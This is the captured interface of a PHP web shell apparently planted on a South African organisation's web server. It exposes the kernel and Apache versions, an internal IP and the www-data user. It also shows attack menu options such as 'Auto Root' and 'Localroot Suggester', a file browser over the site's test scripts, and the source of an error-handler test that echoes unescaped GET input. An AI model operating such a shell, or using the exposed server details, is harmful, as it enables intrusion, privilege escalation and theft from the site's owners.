Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
raw_email.php
549.13
KB
-rw-r--r--
2025-07-07 15:54
test_complete_mail_flow.php
4.71
KB
-rw-r--r--
2025-07-07 15:54
test_encoding_fix.php
4.68
KB
-rw-r--r--
2025-07-07 15:54
test_error_handler.php
2.13
KB
-rw-r--r--
2025-07-07 15:54
test_mail_parsing.php
6.16
KB
-rw-r--r--
2025-07-07 15:54
Save
Rename
<?php /** * Test file for CESA Error Handler * * This file demonstrates the error handler functionality. * Run this file to see how different types of errors are handled. */ // Include the error handler include_once($_SERVER['DOCUMENT_ROOT'] . '/includes/bootstrap.php'); // Test different error types $test_type = $_GET['test'] ?? 'notice'; echo "<h1>CESA Error Handler Test</h1>"; echo "<p>Testing error type: <strong>$test_type</strong></p>"; echo "<p><a href='?test=notice'>Test Notice</a> | "; echo "<a href='?test=warning'>Test Warning</a> | "; echo "<a href='?test=fatal'>Test Fatal Error</a> | "; echo "<a href='?test=exception'>Test Exception</a></p>"; switch ($test_type) { case 'notice': echo "<h2>Testing Notice Error</h2>"; echo "<p>This should trigger a notice about an undefined variable:</p>"; echo $undefined_variable; break; case 'warning': echo "<h2>Testing Warning Error</h2>"; echo "<p>This should trigger a warning about an invalid file operation:</p>"; $result = file_get_contents('/nonexistent/file.txt'); break; case 'fatal': echo "<h2>Testing Fatal Error</h2>"; echo "<p>This should trigger a fatal error about a non-existent function:</p>"; nonexistent_function(); break; case 'exception': echo "<h2>Testing Exception</h2>"; echo "<p>This should trigger an exception:</p>"; throw new Exception("This is a test exception to demonstrate error handling"); break; default: echo "<h2>Error Handler Test Page</h2>"; echo "<p>Click one of the links above to test different error types.</p>"; echo "<p>The error handler will:</p>"; echo "<ul>"; echo "<li>Log errors to file and database</li>"; echo "<li>Show appropriate error pages</li>"; echo "<li>Send email notifications for critical errors</li>"; echo "<li>Display different information in development vs production</li>"; echo "</ul>"; break; } echo "<hr>"; echo "<p><small>Error handler test completed. Check the logs directory for error logs.</small></p>";